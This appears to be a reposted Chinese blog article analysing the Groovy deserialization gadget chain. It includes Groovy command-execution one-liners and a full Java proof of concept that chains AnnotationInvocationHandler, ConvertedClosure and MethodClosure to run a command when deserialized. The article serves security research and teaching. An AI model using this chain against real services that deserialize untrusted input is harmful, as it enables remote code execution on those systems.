前言
Groovy 是一種基于 JVM 的開(kāi)發(fā)語(yǔ)言,具有類(lèi)似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平臺(tái)的編程語(yǔ)言,也可以用作腳本語(yǔ)言。groovy 編譯之后生成 .class 文件,與 Java 編譯生成的無(wú)異,因此可以在 JVM 上運(yùn)行。
在項(xiàng)目中可以引用 Groovy 的相關(guān)包依賴(lài),分為核心包和模塊包,如果想依賴(lài)全部包,可以使用 groovy-all
環(huán)境搭建
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>
Groovy命令執(zhí)行
MethodClosure
package org.example;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class methodClosure {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}
很樸素,一眼看出漏洞點(diǎn)在doCall
方法,調(diào)試一波invokeMethod
顧名思義就是執(zhí)行方法的,調(diào)試進(jìn)去看也確實(shí)如此,看getOwner
是獲取到this.owner
,看構(gòu)造方法,owner
是一個(gè)對(duì)象
而owner
我們是設(shè)置了的,owner
就是我們傳入的Runtime
對(duì)象,method
同理可控,這樣就實(shí)現(xiàn)了任意類(lèi)方法調(diào)用
String.execute()
Groovy為String對(duì)象封裝了一個(gè)execute方法用來(lái)動(dòng)態(tài)執(zhí)行命令,這個(gè)方法會(huì)返回一個(gè) Process 對(duì)象。也就是說(shuō),在 Groovy 中,可以直接使用 "ls".execute()
這種方法來(lái)執(zhí)行系統(tǒng)命令ls
注意這里,創(chuàng)建一個(gè)Groovy
類(lèi)文件,不是創(chuàng)建java類(lèi)文件了
package org.example
class stringExecute {
static void main(String[] args){
println("calc".execute().text);
}
}
// 直接命令執(zhí)行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回顯型命令執(zhí)行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";
ConvertedClosure
ConvertedCloure
實(shí)際上是一個(gè)動(dòng)態(tài)代理類(lèi),它繼承了ConversionHandler
而ConversionHandler
又繼承了InvocationHandler
因此該類(lèi)是一個(gè)動(dòng)態(tài)代理,然后注意invokeCustom
,這個(gè)和InvocationHandler
的invoke
是一個(gè)意思,代理的具體邏輯。如果初始化時(shí)指定的method
與invokeCustom
指定的method
參數(shù)相同,則invokeCustom
方法將會(huì)調(diào)用代理對(duì)象 Closure
的call
方法執(zhí)行傳入?yún)?shù)執(zhí)行
Groovy反序列化構(gòu)造
說(shuō)到動(dòng)態(tài)代理就得想到CC1
package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;
public class convertedClosure {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//封裝我們需要執(zhí)行的對(duì)象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 創(chuàng)建 ConvertedClosure 的動(dòng)態(tài)代理類(lèi)實(shí)例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
// 使用動(dòng)態(tài)代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}
調(diào)用鏈文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-850181.html
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
流程分析
調(diào)用entrySet
觸發(fā)invoke,this是ConvertedClosure
它繼承了ConversionHandler
,所以是走進(jìn)父類(lèi)里面的方法,在這里面進(jìn)而觸發(fā)invokeCustom
最后調(diào)用call
方法rce文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-850181.html
到了這里,關(guān)于Groovy反序列化鏈分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!